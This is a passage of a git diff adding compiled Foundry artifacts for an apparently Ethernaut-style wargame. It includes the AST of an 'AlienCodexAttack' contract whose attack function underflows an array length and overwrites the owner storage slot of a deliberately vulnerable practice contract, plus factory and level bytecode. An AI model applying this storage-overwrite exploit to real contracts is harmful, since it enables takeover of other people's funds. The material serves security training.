alse,\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"_newOwner\",\"type\":\"bytes32\"}],\"name\":\"attack\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"target\",\"outputs\":[{\"internalType\":\"contract AlienCodex\",\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"src/attacks/AlienCodexAttack.sol\":\"AlienCodexAttack\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/AlienCodexAttack.sol\":{\"keccak256\":\"0x409c42a30c1672d3ebb02f6eaa4a0b9b348da8a64a7f1328fcf7160f8a7743fb\",\"urls\":[\"bzz-raw://69e53cd9425aabc6a996288e2368bf63526aa6de194dfd253cb49ea03e2ba0fe\",\"dweb:/ipfs/Qme774mwFhKfmxM8eVAS3onKELtqsgjhiLhn5iGndDaSx9\"]},\"src/helpers/Ownable-05.sol\":{\"keccak256\":\"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0\",\"urls\":[\"bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249\",\"dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci\"]},\"src/levels/AlienCodex.sol\":{\"keccak256\":\"0x21dd51ce51844b08feca460c8bc89837b80219b15fa2b2b7adff15d195d8cb8f\",\"urls\":[\"bzz-raw://95f71208d2b509445c297f128ea489e1e726a7b33c782d52d03602a652810409\",\"dweb:/ipfs/QmXDCiMWoZxdiCN9qRkos1WmyhQ6cWpWrfSpRtPpZDWhC8\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.5.17+commit.d19bba13"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"bytes32","name":"_newOwner","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"attack"},{"inputs":[],"stateMutability":"view","type":"function","name":"target","outputs":[{"internalType":"contract AlienCodex","name":"","type":"address"}]}],"devdoc":{"methods":{}},"userdoc":{"methods":{}}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"compilationTarget":{"src/attacks/AlienCodexAttack.sol":"AlienCodexAttack"},"evmVersion":"istanbul","libraries":{}},"sources":{"src/attacks/AlienCodexAttack.sol":{"keccak256":"0x409c42a30c1672d3ebb02f6eaa4a0b9b348da8a64a7f1328fcf7160f8a7743fb","urls":["bzz-raw://69e53cd9425aabc6a996288e2368bf63526aa6de194dfd253cb49ea03e2ba0fe","dweb:/ipfs/Qme774mwFhKfmxM8eVAS3onKELtqsgjhiLhn5iGndDaSx9"],"license":null},"src/helpers/Ownable-05.sol":{"keccak256":"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0","urls":["bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249","dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci"],"license":null},"src/levels/AlienCodex.sol":{"keccak256":"0x21dd51ce51844b08feca460c8bc89837b80219b15fa2b2b7adff15d195d8cb8f","urls":["bzz-raw://95f71208d2b509445c297f128ea489e1e726a7b33c782d52d03602a652810409","dweb:/ipfs/QmXDCiMWoZxdiCN9qRkos1WmyhQ6cWpWrfSpRtPpZDWhC8"],"license":null}},"version":1},"ast":{"absolutePath":"src/attacks/AlienCodexAttack.sol","id":68,"exportedSymbols":{"AlienCodexAttack":[67]},"nodeType":"SourceUnit","src":"32:1606:0","nodes":[{"id":1,"nodeType":"PragmaDirective","src":"32:23:0","nodes":[],"literals":["solidity","^","0.5",".0"]},{"id":2,"nodeType":"ImportDirective","src":"57:34:0","nodes":[],"absolutePath":"src/levels/AlienCodex.sol","file":"../levels/AlienCodex.sol","scope":68,"sourceUnit":240,"symbolAliases":[],"unitAlias":""},{"id":67,"nodeType":"ContractDefinition","src":"93:1544:0","nodes":[{"id":4,"nodeType":"VariableDeclaration","src":"125:24:0","nodes":[],"constant":false,"name":"target","scope":67,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"},"typeName":{"contractScope":null,"id":3,"name":"AlienCodex","nodeType":"UserDefinedTypeName","referencedDeclaration":239,"src":"125:10:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"value":null,"visibility":"public"},{"id":16,"nodeType":"FunctionDefinition","src":"156:81:0","nodes":[],"body":{"id":15,"nodeType":"Block","src":"192:45:0","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":13,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":9,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4,"src":"202:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":11,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6,"src":"222:7:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":10,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":239,"src":"211:10:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$239_$","typeString":"type(contract AlienCodex)"}},"id":12,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"211:19:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"src":"202:28:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":14,"nodeType":"ExpressionStatement","src":"202:28:0"}]},"documentation":null,"implemented":true,"kind":"constructor","modifiers":[],"name":"","parameters":{"id":7,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6,"name":"_target","nodeType":"VariableDeclaration","scope":16,"src":"168:15:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5,"name":"address","nodeType":"ElementaryTypeName","src":"168:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"167:17:0"},"returnParameters":{"id":8,"nodeType":"ParameterList","parameters":[],"src":"192:0:0"},"scope":67,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"},{"id":66,"nodeType":"FunctionDefinition","src":"243:1392:0","nodes":[],"body":{"id":65,"nodeType":"Block","src":"285:1350:0","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":null,"id":21,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4,"src":"319:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":23,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"makeContact","nodeType":"MemberAccess","referencedDeclaration":197,"src":"319:18:0","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":24,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"319:20:0","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25,"nodeType":"ExpressionStatement","src":"319:20:0"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"307866666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666","id":30,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"394:66:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"}],"id":29,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"386:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":"bytes32"},"id":31,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"386:75:0","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"argumentTypes":null,"id":26,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4,"src":"372:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":28,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"record","nodeType":"MemberAccess","referencedDeclaration":211,"src":"372:13:0","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes32_$returns$__$","typeString":"function (bytes32) external"}},"id":32,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"372:90:0","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33,"nodeType":"ExpressionStatement","src":"372:90:0"},{"expression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":null,"id":34,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4,"src":"507:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":36,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"retract","nodeType":"MemberAccess","referencedDeclaration":222,"src":"507:14:0","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":37,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"507:16:0","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38,"nodeType":"ExpressionStatement","src":"507:16:0"},{"expression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":null,"id":39,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4,"src":"533:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":41,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"retract","nodeType":"MemberAccess","referencedDeclaration":222,"src":"533:14:0","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":42,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"533:16:0","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43,"nodeType":"ExpressionStatement","src":"533:16:0"},{"assignments":[45],"declarations":[{"constant":false,"id":45,"name":"offset","nodeType":"VariableDeclaration","scope":65,"src":"1285:14:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44,"name":"uint256","nodeType":"ElementaryTypeName","src":"1285:7:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"id":57,"initialValue":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"307866666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666","id":47,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1310:66:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"}],"id":46,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1302:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":"uint256"},"id":48,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1302:75:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"307862313065326435323736313230373362323665656364666437313765366133323063663434623461666163326230373332643966636265326237666130636636","id":50,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1400:66:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_80084422859880547211683076133703299733277748156566366325829078699459944778998_by_1","typeString":"int_const 8008...(69 digits omitted)...8998"},"value":"0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_80084422859880547211683076133703299733277748156566366325829078699459944778998_by_1","typeString":"int_const 8008...(69 digits omitted)...8998"}],"id":49,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1392:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":"uint256"},"id":51,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1392:75:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1302:165:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303031","id":54,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1490:66:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":53,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1482:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":"uint256"},"id":55,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1482:75:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1302:255:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1285:272:0"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":61,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":45,"src":"1610:6:0","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"argumentTypes":null,"id":62,"name":"_newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18,"src":"1618:9:0","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"argumentTypes":null,"id":58,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4,"src":"1596:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":60,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"revise","nodeType":"MemberAccess","referencedDeclaration":238,"src":"1596:13:0","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$_t_bytes32_$returns$__$","typeString":"function (uint256,bytes32) external"}},"id":63,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1596:32:0","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64,"nodeType":"ExpressionStatement","src":"1596:32:0"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"attack","parameters":{"id":19,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18,"name":"_newOwner","nodeType":"VariableDeclaration","scope":66,"src":"259:17:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":17,"name":"bytes32","nodeType":"ElementaryTypeName","src":"259:7:0","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":null,"visibility":"internal"}],"src":"258:19:0"},"returnParameters":{"id":20,"nodeType":"ParameterList","parameters":[],"src":"285:0:0"},"scope":67,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"}],"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[67],"name":"AlienCodexAttack","scope":68}]},"id":0} \ No newline at end of file diff --git a/contracts/out/AlienCodexFactory.sol/AlienCodexFactory.json b/contracts/out/AlienCodexFactory.sol/AlienCodexFactory.json new file mode 100644 index 000000000..209c76a62 --- /dev/null +++ b/contracts/out/AlienCodexFactory.sol/AlienCodexFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"isOwner","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x6080604052600080546001600160a01b031916331790556109cc806100256000396000f3fe6080604052600436106100655760003560e01c80638f32d59b116100435780638f32d59b146100d8578063d38def5b14610101578063f2fde38b1461013c57610065565b8063715018a61461006a5780637726f776146100815780638da5cb5b146100c3575b600080fd5b34801561007657600080fd5b5061007f61016f565b005b6100a76004803603602081101561009757600080fd5b50356001600160a01b031661021f565b604080516001600160a01b039092168252519081900360200190f35b3480156100cf57600080fd5b506100a7610250565b3480156100e457600080fd5b506100ed61025f565b604080519115158252519081900360200190f35b34801561010d57600080fd5b506100ed6004803603604081101561012457600080fd5b506001600160a01b0381358116916020013516610270565b34801561014857600080fd5b5061007f6004803603602081101561015f57600080fd5b50356001600160a01b03166102f7565b61017761025f565b6101c8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600060405161022d90610409565b604051809103906000f080158015610249573d6000803e3d6000fd5b5092915050565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600080839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102b957600080fd5b505afa1580156102cd573d6000803e3d6000fd5b505050506040513d60208110156102e357600080fd5b50516001600160a01b031614949350505050565b6102ff61025f565b610350576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6103598161035c565b50565b6001600160a01b0381166103a15760405162461bcd60e51b81526004018080602001828103825260268152602001806109726026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b61055b806104178339019056fe6080604052600080546001600160a01b03191633179055610536806100256000396000f3fe608060405234801561001057600080fd5b50600436106100be5760003560e01c80638da5cb5b1161007657806394bd75691161005b57806394bd756914610148578063b5c645bd14610177578063f2fde38b14610194576100be565b80638da5cb5b1461011c5780638f32d59b14610140576100be565b806333a8c45a116100a757806333a8c45a146100f057806347f57b321461010c578063715018a614610114576100be565b80630339f300146100c3578063328b52cb146100e8575b600080fd5b6100e6600480360360408110156100d957600080fd5b50803590602001356101ba565b005b6100e66101eb565b6100f861021b565b604080519115158252519081900360200190f35b6100e661022b565b6100e6610254565b610124610304565b604080516001600160a01b039092168252519081900360200190f35b6100f8610314565b6101656004803603602081101561015e57600080fd5b5035610325565b60408051918252519081900360200190f35b6100e66004803603602081101561018d57600080fd5b5035610343565b6100e6600480360360208110156101aa57600080fd5b50356001600160a01b031661038a565b600054600160a01b900460ff166101cd57fe5b80600183815481106101db57fe5b6000918252602090912001555050565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055565b600054600160a01b900460ff1681565b600054600160a01b900460ff1661023e57fe5b6001805490610251906000198301610494565b50565b61025c610314565b6102ad576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b6001818154811061033257fe5b600091825260209091200154905081565b600054600160a01b900460ff1661035657fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b610392610314565b6103e3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610251816001600160a01b03811661042c5760405162461bcd60e51b81526004018080602001828103825260268152602001806104dc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b8154818355818111156104b8576000838152602090206104b89181019083016104bd565b505050565b61031191905b808211156104d757600081556001016104c3565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820dc9a42e48ee61fe9aac9a8df7665b5cd40124f6fa04b2d6f84c67ca9103742a764736f6c634300051100324f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820a4789ece807ddd237cb421bd9a6cb876704f7b59b900af0a6760553e247a2a0b64736f6c63430005110032","sourceMap":"116:406:3:-;;;657:6:1;:19;;-1:-1:-1;;;;;;657:19:1;666:10;657:19;;;116:406:3;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100655760003560e01c80638f32d59b116100435780638f32d59b146100d8578063d38def5b14610101578063f2fde38b1461013c57610065565b8063715018a61461006a5780637726f776146100815780638da5cb5b146100c3575b600080fd5b34801561007657600080fd5b5061007f61016f565b005b6100a76004803603602081101561009757600080fd5b50356001600160a01b031661021f565b604080516001600160a01b039092168252519081900360200190f35b3480156100cf57600080fd5b506100a7610250565b3480156100e457600080fd5b506100ed61025f565b604080519115158252519081900360200190f35b34801561010d57600080fd5b506100ed6004803603604081101561012457600080fd5b506001600160a01b0381358116916020013516610270565b34801561014857600080fd5b5061007f6004803603602081101561015f57600080fd5b50356001600160a01b03166102f7565b61017761025f565b6101c8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600060405161022d90610409565b604051809103906000f080158015610249573d6000803e3d6000fd5b5092915050565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600080839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102b957600080fd5b505afa1580156102cd573d6000803e3d6000fd5b505050506040513d60208110156102e357600080fd5b50516001600160a01b031614949350505050565b6102ff61025f565b610350576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6103598161035c565b50565b6001600160a01b0381166103a15760405162461bcd60e51b81526004018080602001828103825260268152602001806109726026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b61055b806104178339019056fe6080604052600080546001600160a01b03191633179055610536806100256000396000f3fe608060405234801561001057600080fd5b50600436106100be5760003560e01c80638da5cb5b1161007657806394bd75691161005b57806394bd756914610148578063b5c645bd14610177578063f2fde38b14610194576100be565b80638da5cb5b1461011c5780638f32d59b14610140576100be565b806333a8c45a116100a757806333a8c45a146100f057806347f57b321461010c578063715018a614610114576100be565b80630339f300146100c3578063328b52cb146100e8575b600080fd5b6100e6600480360360408110156100d957600080fd5b50803590602001356101ba565b005b6100e66101eb565b6100f861021b565b604080519115158252519081900360200190f35b6100e661022b565b6100e6610254565b610124610304565b604080516001600160a01b039092168252519081900360200190f35b6100f8610314565b6101656004803603602081101561015e57600080fd5b5035610325565b60408051918252519081900360200190f35b6100e66004803603602081101561018d57600080fd5b5035610343565b6100e6600480360360208110156101aa57600080fd5b50356001600160a01b031661038a565b600054600160a01b900460ff166101cd57fe5b80600183815481106101db57fe5b6000918252602090912001555050565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055565b600054600160a01b900460ff1681565b600054600160a01b900460ff1661023e57fe5b6001805490610251906000198301610494565b50565b61025c610314565b6102ad576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360008054